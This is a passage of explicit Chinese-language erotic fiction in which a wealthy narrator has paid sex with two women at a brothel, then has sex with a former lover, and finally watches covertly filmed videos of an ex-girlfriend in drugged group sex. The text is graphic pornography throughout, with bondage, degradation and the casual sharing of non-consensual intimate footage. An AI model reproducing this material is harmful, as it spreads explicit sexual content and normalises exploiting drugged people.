小奴的屄看上去干净整齐,插进去有点松,当然这是和季晓萌的小嫩屄比较而言。借着水的浮力和小妾的顶推,鸡巴在小奴的肉洞里半出半没。我玩玩小奴的白嫩E奶,揉揉她的小阴蒂,感觉轻松惬意。插了几十下,小奴下马用嘴清理了鸡巴,然后和小妾交换位置。小妾的屄眼比较紧,轻抽浅插箍着龟头很有感觉。 也插了几十下,小妾下马,一样用嘴清理了鸡巴,然后两女各分左右,两根舌头两张嘴合奏吹箫。我一手玩着一只奶子,心中感慨,有钱真好!

“王爷,您洗好了吗?”

这是要换项目了吗?

两女扶我起身,为我擦干身体。小妾又跪在地上舔起鸡巴来。

“王爷,小奴去准备一下,先让小妾侍候着。好吗?”

“好!”

舔了一阵,我把小妾拉到浴缸边。小妾懂事,手撑缸沿撅起屁股扭着,回头媚笑说:“王爷,快来啊!”

挺起鸡巴,一捅到底,鸡巴头顶上了屄芯子。

“王爷……棍子太大了……顶破小屄了……王爷好厉害!”

明知是演戏,不过演得很到位,王爷很开心,多赏你几棍子。伟哥的药性上来,脸潮热,鸡巴硬得发木,一口气操了百十下,小妾不念台词开始唱歌了。 “啊……啊……啊……啊……”

操了一会,我把小妾放在洗手台上,上面吸着奶子,下面又是一通猛操。 “啊……啊……啊……王爷……你先等等……后面……后面还有好多项目… …啊啊……“

对,钱不能白花,新鲜把戏挨样尝尝。我挺鸡在小妾的屄里狠戳几下,拔了出来。小妾赶忙跪下,又来个了清理口交。

清理完毕,小妾拉着我走进另一个房间。

好家伙!电动床、红绳架、X刑架、九尾鞭、塞口球、跳蛋、狗链、电动鸡巴应有尽有。小奴一身水兵服,铐在屋角立柱上,蒙着眼罩跪着。墙上的液晶电视放着日本AV,前田阳菜正被男优压在沙发上暴操,嗯嗯啊啊叫得凄惨。 小妾把我拉到小奴跟前,一手托起小奴的下巴,媚笑着问我:“王爷,小奴不守规矩,偷吃王爷的肉棒,您想怎么惩罚她?”

还带情节吗?我突然觉得这钱花得太值了!

鸡巴快硬成十二点了。我握着肉棍子在小奴脸上左右开弓抽了好几下。小奴也爱演,娇怯怯地连唿:“王爷,不要,小奴不敢了!”

“张嘴!”

小奴乖乖张开嘴,大肉棍子捅进去塞得满满。试着深顶几下,小奴恶心咳嗽眼泪鼻涕全来了。我又心软了,花钱寻开心,适可而止吧。想起高薇的深喉,默叹一声,好活不常有,妙人难再得。

把小奴眼罩手铐取下,推上X刑架固定好,双手一用劲,水兵服唰地撕成两半,两只大白兔跑了出来。如法炮制,撕开短裙和内裤。凌乱的布块挂在雪白的女体上,果然诱人犯罪。抄起九尾鞭抽打几下,毕竟心软,下手都不重,小奴的叫声与其说是凄惨,不如说是催淫。这X刑架造得别致,中间有轴可以旋转。解开固定锁,把小奴转成头下脚上,上面用假鸡巴插屄,下面用真鸡巴操嘴,真他妈好玩!玩瘫了小奴再玩小妾,吊上红绳架,屄里塞上一枚跳蛋,屁眼里也塞一枚,乳头夹上乳铃,抽几鞭来了感觉,把她左腿高高吊起,鸡巴捅进塞着跳蛋的屄里一通猛操,直到她哭叫求饶。

忙活这一阵真有点累了,我把两女解开赶到床上,大模大样地躺下,命令她俩侍候。小奴和小妾一个吃鸡巴一个舌游全身,玩了一阵小奴取来神油涂好,握着鸡巴问我:“王爷,您想先玩谁?”

小奴虽然看上去比小妾年轻点,但是屄松,技术也差把火,那就先操小奴,最后冲刺再操小妾。拿定主义我拍拍小奴的屁股,“先玩你吧。”

“嗯,小奴谢恩。”

电动床开启,小奴骑马式操了百十下,感觉不太爽。这妞不仅屄松,而且屄深,顶不到底。哥近二十年操屄史,探不到底的还真罕见,这妞不会是被驴开的苞吧?换成小狗式,龟头勉强能触到屄芯子,比刚才有点意思了。小妾先是跪在背后帮我推屁股,后来钻入胯下伸出舌头舔我的鸡巴蛋子。乖,看在你这么卖力的份上,等会儿一定射满你的骚屄。

把小奴操出一个小高潮后,鸡巴隐隐有了射意。拔出长枪,淫水淋漓。这次没有清理口交,小妾取来几张消毒湿巾,仔仔细细擦了几遍,然后扶我躺下,口交乳交并用,让鸡巴恢复到最佳状态。

小妾跨上战马,驰骋沙场。小奴爬到身边舔我奶头任我指奸。射意渐浓。起身推倒小妾,传教士插入,小奴趴在我们四腿之间给我刮蛋蛋舔屁股。

小妾淫声绕梁:“王爷好厉害……操死小贱妾……大鸡巴王爷……好猛…… 好猛……操死了……操死我了……啊……啊……不行了……不要……不要… …不要停……操我操我……啊……啊……啊……射我……王爷射我……射满小骚屄…

…射我……我要……“

真射了!几乎是用尽全力,龟头死顶着小妾的子宫,射了好多好多,射到最后,觉得脑浆子都射出去了。

三只野鸳鸯躺在床上休息半天,恢复了体力两女很敬业地扶我入浴清洗。洗毕,两女带我来到另一个房间,没有淫具,简单素静看来就是睡觉的地方。小妾说套餐都是包夜,两女可留下暖床。自问已无性趣,留小妾一人足矣。小奴问安告退。上床躺下,小妾乖巧钻入怀中,一闭眼我就睡成了死猪。

生上校一行离开了小城,带着鼓鼓的肚子和行李,两天后来了电话,邀请我们正式签约。接下来的日子充满忙碌和收获,集团股票连着三个涨停,老孙家的产业又多了一位数。

转眼已是2013年。风声渐紧。

老爷子当初隆重介绍给我的那些金牌人脉相继倒了几位,其他的也都夹紧了尾巴。好在孙氏集团一贯低调,做事做人都上讲究,虽说受了点影响,但只是皮外伤,整体表现还是相当坚挺。

生上校站队正确,升了大校,军衔高了,拿我还真当兄弟,得空就到小城微服一游。某次带他去了洞天的钻石楼层,第二天早餐大校一边喝着海马煲鸡汤一边感慨,这辈子真他妈的没有白活,接着就帮我联系了一个大项目,逼得我不得不在高新区开建新厂。

老爷子隐退幕后观察了我半年,现在彻底放了心,开春天气转暖后,开着他的大切诺基带着我妈和四儿子——两岁的金毛,名叫窝头——周游全国去了。 虽说好事连连,但是也有烦恼。

5月中旬,小道消息传来,某人被高层带走调查。此人不是别个,正是洞天娱乐集团的背后大树,小城的土皇帝。此人跋扈出名,老孙家一直对他敬而远之。 这次他出事,对我们的业务半毛钱影响也没有,但是为什么说烦恼呢?因为这天晚上我特意开车到洞天转转,只见黑灯瞎火,门可罗雀。

我很不爽。

这段时间每逢忙完大事,我总会来洞天享受一把钻石服务,既是放松,也是对自己辛苦的褒奖,而且我发现比起当年养萌妹子,这里的消费也没贵到哪去。 这下可好,难道要哥再去泡良把妹吗?先不提身份和安全的事,关键是没时间啊!

我闷闷不乐地开着车沿滨海路兜风,发现不仅是洞天,以往红火的几大淫窟也都关门大吉!想给吉祥哥打个电话咨询一下最新性息,一想还是拉倒吧,车头一转老老实实回家睡觉。

八、礼物

吉祥哥说,我本质上是个好孩子。有事业要奔忙,有家人要照顾,七花八草的念头慢慢淡了不少。

9月份,儿子小升初。说到儿子,我很自豪。他继承了我和老婆的全部优点,从小元气正太一枚,贵而不骄、慧而不狡、德智体兼优,小小年纪一笔正楷深得老孙家真传,洗澡时目测他的小鸟也深得老孙家真传。呃!跑偏了……

目送儿子走进中学校门的一瞬,心底突生感慨,哥就要老了。

10月某天,我从新厂区回到总部,高薇打来电话。这一年多她做得很用心,已经从内务主管升到矿区副经理,有时因公回小城,总会给我捎点土特产,现在我们算得上是好朋友。

手机接通,熟悉的声音,但是多了自信和爽朗。

“哥,我回来了!”

“好啊,这次回来住几天?”

“这次回来不走了!”

“哦?调到总部了吗?”

“嘿嘿,先不告诉你。哥有没有空?晚上请你吃饭!”

“哈哈,空是有,但是请客轮不到你,怎么说我也是地主嘛!”

“不行,今天一定得我请,有好消息告诉你!”

“什么好消息?”

“你不让我请客就不说!”

想想今晚也没什么大事,“哈哈,好吧,你请就你请。”

“那说好了,晚上六点,怡园宾馆西餐厅。”

“行,就听你的。”

五点整我离开办公室,去精品店挑了个新款女包。这几年早晚高峰越来越堵,坐在高薇面前已经六点二十了。

高薇还是一头大波浪,化了淡妆,穿了件素色的毛衫,大花羊绒披肩,黑色齐膝呢裙,中跟黑短靴,显得优雅大方。塞外风沙虽烈,却磨洗掉了当年的风尘味,现在的高薇已经颇有职业女性气质。看在眼里,心中有慰。

“不好意思,堵车,来晚了。”

“没事没事,哥快坐。”

侍者递上菜单,点了几道菜,高薇不高兴了。

“哥你看不起人。”

“怎么了?”

“妹子是穷,一顿饭还请得起,干嘛老点便宜菜啊?”

“好好好!其实也不是图便宜,我吃东西简单。”

高薇白我一眼,抢过菜单点了好几个硬菜。唉!西餐不是这么吃的。心说这姑娘虽然大变身了,可多少还有点土气。

等上菜的空里,高薇神秘兮兮地递给我一包东西。打开包,一股药香。仔细看看,是种晒干的植物,头细根粗象个棒槌,没枝没叶只有一身细鳞。突然想起小时候看过的《植物奇观》。

“肉苁蓉?”

高薇瞪大了眼:“哥你连这个都知道?”

嘿嘿,儿子叫我百度老爸好不好。

“那你知道这东西有什么用?”

“知道,沙漠之宝,壮阳神物。”

高薇捂嘴笑着点点头。

“很贵吧?”

“还好。矿里有个经理是新疆人,放假请我们去玩,看他家收购这个,我就买了点,半买半送啦。”

这姑娘还真有心。不过这礼物选得怎么就有点暧昧呢?

收好礼物,我把才买的包递给高薇。

“来而不往非礼也,这是我送你的。”

高薇也没客气,打开包装一看,乐得眉开眼笑,二人晚餐就在这样融洽的气氛中开始了。

席间高薇告诉我,她的老总,也就是我们死党圈子的团伙老大,把她调回总部升了综合计划部副经理,主管后勤和物资调配,年薪涨到十五万。我没简单地恭喜了事,而是帮她分析职业前景,指出她的知识短板,告诉她下步努力的方向。 高薇听得很认真。

正事谈完,我俩海阔天空胡侃,不时发出一阵笑声。不知不觉,两瓶红酒喝完,高薇的笑脸红扑扑的,在灯光下显得温润可人,我突然发觉气氛有点不一样了。

吃完饭,高薇结账。好吧,年薪十五万这点小钱毛毛雨。起身离座,发现她的脚步有点飘。

高薇说还没找好住处,这两天就住在怡园宾馆。

我扶着她的胳膊,送她进房间。正要告辞,她抱住了我。

“哥,我想你。”

“高薇,别……”

“哥我知道,我配不上你,我不是想傍你大款,就是想你……”

高薇轻声抽泣。

“我听你的话,没再犯贱……别的男人我现在压根也看不上眼,我只想哥一个人……那个矿在大草原上,开车跑一天都碰不见人,我每天拼命干活,就是让自己少点想你,要不就疯了……”

“妹子……”我叹了一口气,“我……”

“我不用你养我,也不想破坏你家庭……哥,你能再要我吗?一年多了,我再没碰过别的男人,我现在……干净……”

高薇擡起头看着我,泪眼迷离。情难自禁,我低下头,轻轻吻上她的嘴。 柔软滚烫的嘴唇,带着酒味的鼻息,高薇的舌头象条受惊的小蛇钻入我的口腔,饥渴地探寻每一个角落。吻着吻着,我的手伸进了她的毛衣,从乳罩的缝隙探进去,手指触到了一粒樱桃。高薇轻哼一声,用力吸住我的舌头。呃!有点痛……忍住,忍住,直到高薇松口。再看妹子,粉面含春,破啼为笑。

“哥……”

“嗯?”

“我想冲个澡。”

“好。”

帮高薇脱下外衣,里面是一套紫色真丝内衣和一条黑丝连裤袜。大草原上的鲜牛奶就是养人,原来有点黄暗的皮肤现在那叫一个细腻弹滑。解开乳罩搭扣,一对漂亮的竹笋奶弹了出来,还是那么挺的乳头那么翘的乳尖那么性感的乳晕。 我轻轻吸住,温柔地舔着乳头,高薇羞笑着,抱着我的头。

“哥……痒……”

褪下丝袜,脱下小内裤,我没忍住,又亲了一口她的阴阜。一年多不见,高薇的肌肉紧实了许多。

高薇为我宽衣,任我双手揉搓她的丰臀抚摸她的乳房。当硬挺的鸡巴从内裤里跳出,她的眼神一下子迷蒙起来,火热的小手象找到宝贝似的紧紧握住了肉棍子。

她擡起头,象在微笑又象在乞求。欲火已燃,还洗什么澡啊?蛮横地把她拉起,压到墙上,擡起她一条腿,鸡巴贴着屄缝磨了几下,阴唇被龟头划开,一汪温泉流出。调整一下角度,鸡巴找准位置,慢慢插了进去。

龟头先是陷入一团又湿又热的软肉里,继续用力,顶开了一个小洞,洞口湿滑紧韧箍紧了龟头,滑过蘑菇头卡进肉棱子,发出轻轻的“啵”的一声,整个龟头被完美包住,象套进了一颗加热的果冻,又象被吸进了一张没有腭骨的小嘴。 太舒服了!好久没这么舒服了!我没了狂插猛抽的欲望,而是有节奏地挺动腰部,让龟头一次又一次进出阴道口,啵啵的声音越来越粘稠,最后变成了滋滋的水声。

高薇的脸红得象火,两手抱着我的腰随着我的节奏轻轻助力。吻上她的耳垂,在耳边挑逗她:“这是什么声音?”

“什么……声音?”

我稍微加大动作,滋滋的声音更清晰了。

“这个,是什么声音?”

“啊……这个……是哥……在要我……”

“不对,重说!”

“嗯……嗯……是哥……在操我……”

“哥用什么操你?”

“啊……啊……哥……哥用大鸡巴……操我……”

“大鸡巴操你哪儿?”

“大鸡巴……在操……在操……我的……小屄……”

高薇的腿已经夹紧了我的屁股,正好腾出一只手玩她的奶子。

“把刚才的话连起来说。”

“哥……用大鸡巴……操……操……我的……小屄……”

“操屄怎么会出声?”

“因为……因为……小屄……流水了……”

“为什么会流水?”

“因为……小屄……想哥的……大鸡巴……”

奖励高薇一个吻,鸡巴更深入阴道,碰上了第二道肉环。立式操屄的缺点是不够深入,鸡巴到了这里却突破不了前面的关卡,享受不到一屌串两屄的快乐,不过还是挺有情调的。我加快速度操了百十下,高薇来了个小高潮,腿肚子哆嗦有点站不住了。

拉在床边,阴阜鼓着,阴唇张着,屄洞开着,粉红色的阴肉隐隐现现。握住肉棍子,龟头顶着阴蒂画圈圈,高薇全身肌肉松一阵紧一阵,小嘴浪声求操。

“哥,快进来嘛……”

“进哪儿?”

“大鸡巴,进小屄,使劲操。”

“这么饥渴?”

“嗯,想死哥的大鸡巴了。”

“那你得请我进去才行。”

“嗯!”高薇把双腿尽力分开,虽然不是一字马至少也有170度,左手分开屄缝,右手抓住鸡巴杆子,找准肉洞塞了进去,“哥请进,请操小屄……啊!” 没等她说完,我一使劲把整根鸡巴顶了进去。势如破竹,一路穿过两道关卡,结结实实捅上了屄芯子。一屌串两屄的感觉,久违了!

“啊……啊……啊……啊……啊……”

这次采用的是全出全入、狠抽猛插的战术,高薇一句淫语也说不出来了,只剩张着嘴惨叫。

灯光下,一根泛着水光的肉棍子在女阴里不停穿梭,插入时两片肥嫩的阴唇被压进肉缝,抽出时阴肉被带出洞口,象是裹在龟头上的一只粉红避孕套。要是鸡巴再长点多好,再长点,再长点,我就可以插入高薇的子宫,穿过她的内脏,捅到她嘴里让她口交。重口H漫,淫魔请赐我神力吧!最好让我再长出一根鸡巴,同时从她的肛门进入,沿着消化道一路而上,在她嘴里与另一根鸡巴会师!太黑暗了有木有!太黄太暴力了有木有!我心里的恶魔苏醒了吗?

有那么一段时间,高薇被插得连叫声都没了,噼开的双腿也滑落床下。可渐渐的,我感到她又回过气来,腰臀开始以阴道为中心有力地扭摆,配合着我的操吻,舌戏一番,她没有躺下,而是低头看着性器交汇的地方。

“好神奇……”

我放慢动作,让她看得更清楚。

高薇伸手入胯下,两指分开已经撑成O型的阴唇,入神地看着肉棍子在她屄里插进抽出。

“好粗哦,怎么插进去的?”

“孩子更粗,不也能生出来?”

“太神奇了……”高薇擡起头,又亲我一下,“舒服吗哥?”

“舒服。你呢?”

“不舒服!”

“哦?”

“嗯,一点都不舒服,要爽死了!”

用劲狠顶一下,高薇娇唿一声抱住了我。

“哥,我还准备了一件礼物给你。”妹子在耳边低语。

“这已经是第二件礼物了。”

“嗯,那还有第三件。”

“是什么?”

“你还记得吗?我们第一次的时候,我说过,要把后面的洞洞也让哥尝尝。” 这妖精,今天晚上想让我也爽死吗?

“你来之前,我已经清理过了。可是……啊……刚才吃饭了,我怕……我怕……现在又有脏东西……”

“嗯。”

“刚才要洗澡,就是想……啊……再去清理一下……啊……啊……哥……要不你……啊……太深了……哥……要不你先射里面……等会再……操……我的… …屁眼……“

真的,我从来没玩过肛交,心理上就是不太接受,就连洞天的钻石定制我也从来没选过“后庭赏菊”。但是今天让这妖精一说,真还想试试。先射一炮?不行!这只能算个前戏。今晚我的新计划是爆菊一发、操屄一发、深喉一发!想到这里,我停止攻击,抱着高薇狠狠亲了一嘴。

“子弹先留着,走,去洗澡!”

九、惜取眼前人

进了浴室,第一眼就看到洗手台上有一根大粗针筒,头上套着个塑胶长嘴,旁边放着个透明瓶子,满是日本字,至少认识两个——浣肠。高薇羞答答打开瓶盖,倒了半口杯,又兑了一半温水,搅拌搅拌,吸进针筒。我一把抢过来。嘿嘿,这事新鲜,哥想玩玩。

“趴好!”

“哥,不要嘛……”

“啪!”不轻不重拍了一下圆嘟嘟的屁股,弹手。

“趴好了!”

高薇不情不愿地趴在洗手台上,塌着腰,大屁股蹶得老高。

“分开腿,对!踮脚!”

这个高度合适,9点状态的鸡巴正好够着屄,用龟头调戏几下高薇的阴蒂,妹子小声哼哼起来。

小日本AV有个《女尻》系列,封面女优象蛤蟆一样趴着,一张俏脸后面蹶起个又圆又白的大屁股,看上去煞是诱人。高薇的屁股就很有那感觉,最好的是没有两块杀风景的坐痕,丰润无瑕两半玉璧。掰开臀缝,一朵浅褐色的菊花紧揪揪的随着唿吸微微蠕动。推动针筒,一线水流淋上花蕾,高薇颤了一下。塑胶嘴对准屁眼,慢慢深入,高薇全身肌肉紧绷。

“放松……放松……”我用鸡巴轻轻蹭她的大腿。

插入过程比较顺利,我开始推动针筒,里面的液体一格一格消失,有几滴从屁眼里漏了出来。一管注完,我没让高薇起身,又兑一管灌了进去。两管一共600CC,高薇不敢直腰了。

放下管子,我后入式插进了小屄。哈!夹得好紧好紧,第二道肉环挤不过去了,鸡巴有被吸住的感觉。

“走,洗澡去。”

高薇就这么岔着腿蹶着腚被我顶进了淋浴房。里面空间不大,高薇只能扶着墙挺起上身。身上淋着热水,鸡巴操着热屄,双手玩着热奶,哥只觉得一腔热血两肋插刀三顾茅庐四蹄生风……见谅见谅,哥是工科生。

一个妹子如果在床上任你蹂躏,要么她有性奴潜质,要么就是哈你到死。我觉得,高薇二者兼备。想到这,不由对她心生怜惜。这妹子本质不错,至少有情有义,知恩图报。没来由想起季晓萌,当年老子那么宠她那么疼她,她想怎么舒服老子就怎么侍候,最后还甩性子走人,妈的!不就是屄嫩点奶大点会撒个娇吗? 老子发誓,以后再遇上这号装逼小贱货,坚决操死戳烂不留情!

正走神呢,高薇偏着头弱弱地叫我:“哥……”

“嗯?”

“我憋不住了。”

按调教宝典这时候应该再折磨折磨她,可我已经心软了。费了点劲拔出鸡巴,惹得妹子又是几声哼哼。赶紧扶妹子坐上马桶,她却非要赶我出去。好吧。扯了浴巾一裹出门,耳朵贴门偷听,只闻哗啦一声水响,张嘴无声傻笑。不一会传来冲马桶的声音,我推门进去,高薇飞红了脸傻站着手足无措。

我低下头,脸对脸,从下往上看她,高薇噗哧一声笑了。

“这下干净了?”

“嗯……”

“我可等到花儿都谢了。”一提肛,鸡巴在7点半位置抖了一抖。

高薇慢慢跪在我跟前,手握鸡巴伸出小舌头轻轻舔着龟头,又舔了几下系带,然后舌尖挑着马眼,把鸡巴吞进嘴里。双手捧住她的头,她的手很配合地放到我后腰,张大嘴任我把复活的肉棍子插过喉咙,插进食道。

心真的软了,居然可以抵抗深喉的诱惑。鸡巴只感受了一下,好吧,是两下——食道的蠕动,我就慢慢抽出,停在一个适当的位置。妹子好象感觉到什么,小嘴把肉棍子含得生紧,卖力地吸舔转吹。

一曲吹罢,长箫变铁杵。高薇站起,象浣肠一样趴在洗手台上,屁股冲着我。 “哥,来。”

鸡巴先插进小屄沾满淫水,一手握住顶上菊花蕾。第一次尝试滑进了屄眼,第二次滑进了臀沟。拿过浣肠液涂满肉棍,再顶上菊花,高薇好似下定了决心,腰一塌屁股肌肉彻底放松下来,我挺腰一送,爆菊成功!

好紧!太紧了!紧到快感只剩三分,痛感倒有七分。镜子里映出高薇的脸,已经疼得变了色,却强忍着一声没吭。

“痛吗?”明知故问。摇头,拼死承欢。

小心翼翼挺鸡向前,不同于阴道的热度,内壁虽有褶皱,但是感觉和操屄完全不对。这样说吧——小屄里的肉褶子贴在鸡巴上就象是女人主动抱你,直肠里的肉褶子贴在鸡巴上就象是你去强抱女人。

不行,怎么看高薇的肛门象要撑裂了?

书上说初次肛交最忌快插快抽,那咱慢慢来,一寸一寸退回起点,发现鸡巴杆子都被勒得变白了。肛门卡着龟头,那一圈肉壁薄到透明。我狠狠心,一使劲拔出鸡巴,高薇果然顶不住了,闷哼一声从洗手台滑倒。

扶起妹子包上浴巾,抱上床搂紧了,温声安抚。

“哥,我没用……”

“不怪你,怪哥鸡巴太大,人称亚洲第一炮。”

高薇笑了,抱我更紧。

“你真好。”

我好吗?我不知道。

“不走后门那走前门吧?”妹子还真是色胆包天。

“你不痛了?”

“要你打止痛针嘛。”

“别人是打针,哥可是打吊针!”

“没听懂?”

“打针——啪!五钞钟,搞定。吊针——滴答、滴答……最少两个小时。” “哈哈哈哈哈哈……”妹子笑抽筋了。

“让我看看。”

“看什么?”

“看菊花开了没有?”

“讨厌……”妹子脸又红了。

我揭开浴巾,不顾妹子的抗议掰开腚沟仔细检查起来。还好,没有肛门撕裂的迹象。

计划重新修订,今晚只射一发,目标——妹子的子宫!

我跪着,高薇趴着,小狗一样低头吃鸡巴,这姿势让男人超有征服感。两手逗弄她悬垂的乳房,偶尔掐一把大屁股,心情大好!

“哥,你喜欢怎么玩?”

“怎么玩都好。”

“那你躺着,我在上面?”

“好!”

我半倚在床头,看高薇噼腿上马掰屄吞棍。小幅度套弄龟头数次,慢慢坐入整根。

把玩着高薇的竹笋奶,爱不释手。

“你的奶子真漂亮!”

高薇甜笑着,大屁股上下起伏。

“真想一口咬下来!”

高薇挺起奶子送到我的嘴边,“咬吧,都是哥的,想咬就咬。”

真咬了。叼住左乳尖,牙齿用了五分力咬在乳头上。高薇的小屄一紧,套弄的动作错了一拍。再咬右乳,小屄又是一紧。张嘴一看,留了牙印。

“咬痛了没?”

高薇摇摇头。

“那我可要加力咬了?”

“嗯!”高薇点点头。

把左乳吸进满嘴,作势用力要咬,咬到一半缷了力,舌头舔着大乳晕和小乳头。高薇一手扶着我的头,一手撑在我大腿上,小屄用力夹紧鸡巴缓缓套动。 我的嘴离开乳房,高薇的嘴迎了过来。抱着吻着,感受着妹子身体内外的全部热情,我开始转守为攻。

推倒妹子,鸡巴在双环牌湿屄里飞速抽插,快感连成一片。

“啊……哥……再深点……”妹子大开双腿挺屄迎战。“啊……啊……啊… …好舒服……哥操得……好舒服……嗯……顶死我了……哥顶死我……顶死我…

…“

“哥想射了。”

“嗯……射吧……”

“射哪?”

“射里面……射我屄里……子宫里……射满……”

“会怀孕的。”

“嗯……不怕……哥想要……就给哥生……孩子……不想要……就吃药……”

明显感到精管里已经填满了弹药蓄势待发,不忍了,就当是给高薇第三件礼物的回礼吧。

“叫个好听的,哥就射给你。”

“嗯……哥……大鸡巴哥哥……我是你妹妹……亲哥操妹妹……啊……啊… …求求你……操死妹妹……射死妹妹,射满妹妹的小骚屄……妹妹为你生孩子…

…为你打胎……妹妹要大鸡巴……啊啊啊……小骚屄操破了……哥!“

淫语同时激起了两个人的淫欲,我脑子里什么意识都没有了只剩下强烈的快感和射意。几十下极速的抽插,龟头和子宫口重重撞在一起,精液冲出马眼的瞬间全身紧绷的肌肉象失重一样彻底放松,整个人腾上云端飞升极乐。

不知多久,从云中降下,却见高薇倚在怀中还在回味。亲了一嘴,妹子睁开眼,满是喜悦和柔情。

“刚才一起高潮了,好舒服。”

我笑了笑,只顾自己爽了,竟然没觉察到妹子高潮。

“射了好多……”

“真的?”

“嗯,你看……”妹子支起一条腿。

粉红的肉洞还没合上,白浊的精液一股股缓缓流出,沿着大腿滴在床单上。 好一朵带露牡丹!我怎么觉得软掉的鸡巴又有了精神。视线扫过挂在椅背上的黑丝裤袜,一个向往已久的画面映入脑海。

简单冲洗一下,把高薇又推到床上。

“穿上这个。”

“哥……你好坏哦!”

高薇含羞带怯似地穿上了黑丝,一脸无辜状看着我。

抽出一条浴衣带子,把她双手绑在头顶,七成硬的鸡巴在两个硬翘的乳头上来回摩擦,这感觉很美妙,高薇的唿吸又变得粗重了。

抓住她被绑的双手,鸡巴在她脸蛋上抽打了几下,高薇张开嘴吐出舌头,乖乖等我插她的嘴,偏不给她。戳戳奶子,蹭蹭腋窝,擦擦脖子,敲敲鼻子,逗得妹子心痒难耐。

“哥……给我……”

“不给!”

“求求你,给我嘛,馋死人了。”

我笑了,弯腰亲了她一口,然后把馋死人的鸡巴放在她嘴边。高薇张口含住,又慢又用力地吸了进去。

此女真是极品啊!吸进鸡巴并没有简单地吞吐,而是用舌头细致地舔着龟头,然后摇晃着头,让鸡巴接触到口腔每一个角落,接着是一个半深喉,舌头贴着鸡巴下面蠕动摩擦,还不忘用奶子蹭我的大腿。这种感觉真不是操屄能享受到的。 一手抓着绑带,一手摸着奶子,我一动不动地任她施展吹箫绝技。鸡巴又硬到十成了。妹子吐出肉棍子,渴望地看着我。放开手,妹子慢慢躺下,双腿优雅地绷着脚尖分开,分到极限。黑丝袜裆部一团白色粘液,泛着淫糜的水光。 我俯下身,从耳垂开始,嘴唇、脖颈、肩膀、锁骨、乳房、肚脐、阴阜、大腿,一路吻下。妹子难耐地扭动身体,嘴里发出销魂的呻吟。

“哥……好痒……”

“哪里痒?”

“小屄,小屄痒死了。”

“擦点风油精?”

“嗯∼不要,你坏!”

“那怎么办?”

“我要哥的大鸡巴,大鸡巴插进去,小屄就不痒了……”

“真的?”

“嗯!”

抚摸着湿淋淋的黑丝袜裆,妹子的呻吟又高了八度。把她拖近床边,鸡巴隔着丝袜顶上屄缝,用力深顶,丝袜被顶得深陷进去,妹子深吸一口大气,多顶几次,妹子要哭了。

“哥!不要折磨我了,好痒,真的好痒!救救我……”

呲啦一声,撕开丝袜,阴毛乱成一团,大阴唇充血肿胀,小阴唇被压得分开两边,肉洞张着口,一开一合象在说“来啊!快来啊!”。肉棍子虽然已经硬到极点,可我还想再逗逗她,忍住插入的冲动,用她两片阴唇夹住肉棍磨起粉红小豆豆来。

“啊……啊……哥……哥……痒死了……好难受……快点……快点操我……”

准备工作太充分了,鸡巴插进肉缝又顺又滑地一捅到底。妹子发出一声满足的长啸,两腿夹着我的屁股,使劲助我暴操狂插。紧缚的双手,迷离的眼神,晃动的翘乳,残破的丝袜,凌辱的征服感刺激着鸡巴不挺冲刺,越来越硬越来越劲。 高薇的阴道紧了又松松了又紧,淫水流了又干干了又流。不知哪来的劲,我就这么一个姿势操了不知道多久,全身又红又热大汗淋漓。

“哥……手麻了……解开好不?”

操得太投入,忘了。解开带子,妹子搂紧了我亲嘴。

“哥……啊……啊……要不你歇着……我来……”

压根不相信她还有劲骑马,还不如我一棒到底。

回亲一嘴,一手搂着她的背,一手摸着她的乳,微调姿势,开始棍棍到底的冲刺。妹子拼尽余勇,挺屁股夹屄火力全开。

“哥……哥……我又要到了……啊啊……啊……啊!”

终点突然出现在眼前。怒吼着一把抱紧这具汗湿火热的女体,下腹狠狠钻进她双腿之间,龟头深陷在软弹的子宫口里,强烈的抽搐、抽搐,精液汹涌而出,咆啸着冲进子宫。

十分钟后,高薇软瘫在我怀里,有气无力地问:“哥,你真有四十岁了吗?” “真有了!最近还有人送壮阳药叫我补补来着!”

高薇一楞,回过味来,噗哧笑了。

“今天表现不好,请妹子原谅。下次我多吃点那什么神药,争取将功赎罪!” 高薇撒娇捶了我一粉拳,“你要再吃那个我真会被你弄死。”

“那怎么办?大贵大贵的东西总不能扔了吧?”

高薇羞笑着说:“不能扔,送你就要吃!”

“听说吃多了上火。”

“我帮你泄火……”

“你不怕被我弄死?”

“不怕!被你弄死也愿意……”

“太感人了!要不……我现在就吃点,实验实验?”

“哎呀……肚子痛,我要上厕所。”

“别跑啊!有种别跑啊!看我怎么逮你!”

……

十、谁没在变

2014,天子新政,时事幻变。应对自有方略,但这不是财经小说,免谈。 某天下午,吉祥哥来找我,坐下之后,扯了几句闲话,他递给我一个U盘。 “什么东西?”

“看看就知道。”

“玩神秘啊?”

“有个心理准备,是你那位萌妹子。”

插上U盘,打开,里面有五段视频。点击第一个播放。

画面质量不好,拍摄手法不好,现场光线不好,一看就是手机拍的。适应一下晃动的镜头,看见类似KTV包间的沙发上,三男一女正在玩三洞。女的长腿大奶短发,趴在个大肚子男人身上,腚后还有个男人不停耸动,嘴里吃着鸡巴看不清正脸,边上不时有男男女女的身影闪过。

再点一个,是肛交特写,白花花的屁股,腰侧有个蝴蝶纹身。

再点一个,是操屄特写,阴阜上阴毛凌乱,女主角双手掰屄,无套的鸡巴全入全出,背景音乐是摇头迪曲。

再点一个,是双插特写,光线更暗,基本上要靠脑补才能看出是两根鸡巴在插两个洞。

最后一个,季晓萌的脸霍然出现在屏幕上,浓妆已经花了,脸色惨白,眼神迷幻。一根黑乎乎的鸡巴出现,一只手捏开她的嘴,鸡巴插进,直到吞没。抽插抽插抽插,一分二十七秒,射在脸上,一分三十五秒,视频结束。

一室静默。

我扔给吉祥哥一支烟,自己也拿了一支点上。

“这东西是你拍的?”

“切!那样我也敢拿给你看?”

“怎么到你手的?”

“一个玩家朋友,上周在省城玩了个K药派对,拍了拿给我显摆,说是见到一个极品贱货,只要有药K,怎么玩都行。”

“你连K药的朋友都交?”

“那哥们不K,就是玩。”

“这种场子都敢去,也不怕艾滋。”

“嗯,我也这么想,以后断交。”

从老板椅上起身,我伸了个懒腰。吉祥哥不安地看着我。

“你……想怎么办?”

“不想怎么办。”

“唔……那就好。”

我笑了笑,走到窗口。楼下货场正在组织装货,十多辆铮明瓦亮的集装箱大卡一字排开,威风凛凛。

“对了,”我回头冲吉祥哥说,“你还没去过我的新厂吧?一起去看看?” “好啊,看看我兄弟现在牛到什么地步了!”

“牛个屁!再牛也不如老虎一根毛!”

“切!到头来还不是让人剥了皮?不如咱弟兄,安心自在!”

“拉倒吧,想挣大钱哪有安心自在的?”

